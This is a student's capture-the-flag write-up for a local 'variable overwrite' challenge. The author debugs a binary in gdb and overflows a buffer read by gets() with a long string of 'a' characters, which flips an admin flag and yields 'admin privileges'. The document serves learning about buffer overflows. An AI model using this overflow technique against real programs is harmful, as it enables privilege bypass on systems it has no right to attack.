BINARY EXPLOITATION

BUFFEROVERFLOW AND RET2WIN

VARIABLE OVERWRITE CHALLENGE

BY

JAIFIN B ALOOR

First i made the chall file an executable with chmod. Then i executed it and entered the username and it printed out that i dont have admin privelages. The chall .c file uses the gets function. It is advised to not use gets function as its impossible to tell how many charecters it will read and it has been used to break computer security in the man page of gets.

In the chall.c ,the user.isadmin is set to 0 and its not changed. I used the gdb command. Gdb is a debugger for c and cpp i used.

The help command to check out the rest of the commands.

Then i used the gdb chall command and made a breakpoint at main with the break command.

Then i disassembled main with the disassemble command.

Test - check if the value in the adress is zero or not.

I made breakpoints at the mov and the test.

I made a program hook-stop with define command which shows info about the registers and the 24 4-byte hex values in the esp and 2 instructions at eip.

Then i typed r to run the program and as the username i gave a large text that would overflow the storage alloted.

Then i typed c command to countinue and the text showed that i now had the admin privilages.

```
┌──(jaifin㉿batcomputer)-[~/Downloads/b105/chall-20231128T205058Z-001]
└─$ gdb chall
GNU gdb (Debian 13.2-1) 13.2
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from chall...
(No debugging symbols found in chall)
(gdb) break *main
Breakpoint 1 at 0x401176
(gdb) disassemble main
Dump of assembler code for function main:
   0x0000000000401176 <+0>:     endbr64
   0x000000000040117a <+4>:     push   %rbp
   0x000000000040117b <+5>:     mov    %rsp,%rbp
   0x000000000040117e <+8>:     sub    $0x60,%rsp
   0x0000000000401182 <+12>:    movl   $0x0,-0xc(%rbp)
   0x0000000000401189 <+19>:    lea    0xe78(%rip),%rax        # 0x402008
   0x0000000000401190 <+26>:    mov    %rax,%rdi
   0x0000000000401193 <+29>:    mov    $0x0,%eax
   0x0000000000401198 <+34>:    call   0x401070 <printf@plt>
   0x000000000040119d <+39>:    lea    -0x60(%rbp),%rax
   0x00000000004011a1 <+43>:    mov    %rax,%rdi
   0x00000000004011a4 <+46>:    mov    $0x0,%eax
   0x00000000004011a9 <+51>:    call   0x401080 <gets@plt>
   0x00000000004011ae <+56>:    lea    -0x20(%rbp),%rax
   0x00000000004011b2 <+60>:    mov    %rax,%rsi
   0x00000000004011b5 <+63>:    lea    0xe62(%rip),%rax        # 0x40201e
   0x00000000004011bc <+70>:    mov    %rax,%rdi
   0x00000000004011bf <+73>:    mov    $0x0,%eax
--Type <RET> for more, q to quit, c to continue without paging--<RET>
   0x00000000004011c4 <+78>:    call   0x401070 <printf@plt>
   0x00000000004011c9 <+83>:    mov    -0xc(%rbp),%eax
   0x00000000004011cc <+86>:    test   %eax,%eax
   0x00000000004011ce <+88>:    je     0x4011e1 <main+107>
   0x00000000004011d0 <+90>:    lea    0xe59(%rip),%rax        # 0x402030
   0x00000000004011d7 <+97>:    mov    %rax,%rdi
   0x00000000004011da <+100>:   call   0x401060 <puts@plt>
   0x00000000004011df <+105>:   jmp    0x4011f0 <main+122>
   0x00000000004011e1 <+107>:   lea    0xe70(%rip),%rax        # 0x402058
   0x00000000004011e8 <+114>:   mov    %rax,%rdi
   0x00000000004011eb <+117>:   call   0x401060 <puts@plt>
```

```
   0x00000000004011eb <+117>:   call   0x401060 <puts@plt>
   0x00000000004011f0 <+122>:   mov    $0x0,%eax
   0x00000000004011f5 <+127>:   leave
   0x00000000004011f6 <+128>:   ret
End of assembler dump.
(gdb) break *0x00000000004011c9
Breakpoint 2 at 0x4011c9
(gdb) break *0x00000000004011cc
Breakpoint 3 at 0x4011cc
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>info reigisters
>x/24wx $esp
>x/2i $eip
>end
(gdb) r
Starting program: /home/jaifin/Downloads/b105/chall-20231128T205058Z-001/chall
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Error while running hook_stop:
Undefined info command: "reigisters".  Try "help info".

Breakpoint 1, 0x0000000000401176 in main ()
(gdb) c
Continuing.
Enter your username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Welcome, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Error while running hook_stop:
Undefined info command: "reigisters".  Try "help info".

Breakpoint 2, 0x00000000004011c9 in main ()
(gdb) c
Continuing.
Error while running hook_stop:
Undefined info command: "reigisters".  Try "help info".

Breakpoint 3, 0x00000000004011cc in main ()
(gdb) c
Continuing.
Congrats!You now have admin privileges.
```